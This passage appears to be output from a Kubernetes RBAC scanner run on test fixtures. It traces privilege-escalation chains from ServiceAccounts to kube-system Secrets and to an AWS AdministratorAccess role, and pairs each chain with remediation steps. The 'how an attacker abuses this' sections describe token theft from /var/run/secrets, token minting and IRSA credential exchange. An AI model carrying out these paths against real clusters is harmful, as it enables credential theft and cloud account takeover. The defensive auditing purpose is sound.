  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  5. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-exec Namespace 7.6
ServiceAccount/privesc-fixtures/sa-pod-exec can read kube-system Secrets in 3 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-exec → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
3. ServiceAccount/privesc-fixtures/sa-secret-mint/ via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  5. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH

ServiceAccount can reach external AWS IAM role

KUBE-PRIVESC-PATH-AWS-IAM-ROLE 7 subjects Score 8.0–7.0
MITRE ATT&CK: T1078.004T1098T1552.007

Affected subjects (7)

HIGH ServiceAccount/cloud-eks-test/eks-admin-irsa Cluster 8.0
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/cloud-eks-test/eks-admin-irsa -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-admin-irsa

Subject ServiceAccount/cloud-eks-test/eks-admin-irsa has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (1 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/cloud-eks-test/eks-admin-irsa.
  2. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  3. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/cloud-eks-test/eks-admin-irsa via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cloud-eks-test/eks-admin-irsa. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/cloud-eks-test/eks-admin-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-test/eks-admin-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/vulnerable/privileged-readerServiceAccount/cloud-eks-test/eks-admin-irsa via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/cloud-eks-test/eks-admin-irsa ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsaUser/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-readerServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
